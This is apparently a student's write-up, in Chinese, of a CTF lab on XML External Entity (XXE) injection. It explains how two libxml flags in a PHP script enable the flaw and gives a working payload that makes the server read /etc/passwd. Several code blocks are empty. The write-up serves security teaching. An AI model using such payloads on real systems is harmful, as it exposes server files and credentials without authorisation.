Simple Web 0x23(Lab - XXE)
tags: NTUSTWS CTF Web
Challenge: http://h4ck3r.quest:8604/
Background
- Terminology Security Related
- XML Tree
- XML Parser
- AJAX - Server Response
- 输入流 php://input
php://input可以读取没有处理过的POST数据。
- Day 18:Stream 概述
php://input 取得所有的 input 通常來源於 HTTP body,值得注意的是,由這個 Stream 取得的內容是 Raw Body,所以需要自行解析。
- 來自外部的威脅-XXE漏洞攻擊成因
-
XXE course lecture


-
exploit type




Source code
1 | |
Analyze
此php會讀request body,並且以xml的格式讀取,最重要的就是怎麼讀取
1 | |
這兩個flag非常危險
| Flag | 意義 | 風險 |
|---|---|---|
| LIBXML_NOENT | 解析實體(entity expansion) | 會展開 <!ENTITY> |
| LIBXML_DTDLOAD | 允許載入外部 DTD | 可讀取外部檔案 |
這直接開啟 XXE(XML External Entity),如果這邊的邏輯允許XXE,那麼我們就可以寫一個payload傳進去讀取機敏資料
Exploit - XXE
Normal Usage in this webpage → 修改封包
- Payload
1
2
3
4
5
6
7<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <test> <user>&xxe;</user> </test>
or
1 | |
如果要Deploy on localhost
- 安裝
php-xml1
$ sudo apt install php-xml -y - Start Server
1
$ php -S localhost:8000 -f ./php_login.php